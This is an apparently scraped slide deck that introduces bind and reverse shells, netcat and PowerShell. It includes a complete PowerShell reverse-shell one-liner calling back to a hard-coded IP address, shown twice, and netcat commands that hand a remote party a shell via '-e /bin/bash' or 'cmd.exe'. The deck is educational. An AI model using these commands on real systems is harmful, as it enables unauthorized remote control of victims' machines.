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Powershell
Powershell
PowerShell is a task automation and configuration management framework
from Microsoft, consisting of a command-line shell and associated scripting
language.
As a scripting language Power shell can be used for reverse shell.
Powershell – Reverse shell example:
$c = New-Object System.Net.Sockets.TCPClient("104.197.26.36",80);$s =
$c.GetStream();[byte[]]$b = 0..255|%{0};while(($i = $s.Read($b, 0, $b.Length))
-ne 0){;$d = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String
);$sb2 = $sb + "PS " + (pwd).Path + "> ";$sby =
([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()
};$c.Close()](https://image.slidesharecdn.com/shell-reverseshell-180620104134/85/Reverse-shell-5-320.jpg)
Reverse shell
- 1. Infrastructure Bind and Reverse Shell 1
- 2. 2 What is Shell? Shell a shell is a user interface for access to an operating system's services. In general, operating system shells use either a command-line interface (CLI) or graphical user interface (GUI), depending on a computer's role and particular operation. It is named a shell because it is the outermost layer around the operating system kernel.
- 3. 3 Bind Shell and Reverse Shell Reverse Shell A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved. Bind Shell Bind shell is a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server.
- 4. 4 Netcat Netcat Netcat (nc) is a computer networking utility. Netcat is a feature-rich network debugging and investigation tool, since it can produce almost any kind of connection its user could need and has a number of built-in capabilities. Its list of features includes port scanning, transferring files, and port listening, and it can be used as a backdoor. Example: Nc –lvp port Nc ip port –e /bin/bash Flags: -l Listen -p Port -v Verbose -e Execute
- 5. 5 Powershell Powershell PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and associated scripting language. As a scripting language Power shell can be used for reverse shell. Powershell – Reverse shell example: $c = New-Object System.Net.Sockets.TCPClient("104.197.26.36",80);$s = $c.GetStream();[byte[]]$b = 0..255|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2 = $sb + "PS " + (pwd).Path + "> ";$sby = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush() };$c.Close()
- 6. 6 Example of Bind Shell and Reverse Shell Exmaple of Bind Shell using netcat Attacker: Nc ip port Victim: Nc –lvp 80 –e cmd.exe On this situation the attacker is connecting to victim (Bind Shell). Bind Shell is more easy to monitor and harder to pass the firewall. Exmaple of Reverse Shell using netcat Attacker: Nc –lvp 80 Victim: Nc ip port –e cmd.exe On this situation the victim is connecting to Attacker (Reverse Shell) Reverse Shell is harder to monitor and easy to pass the firewall.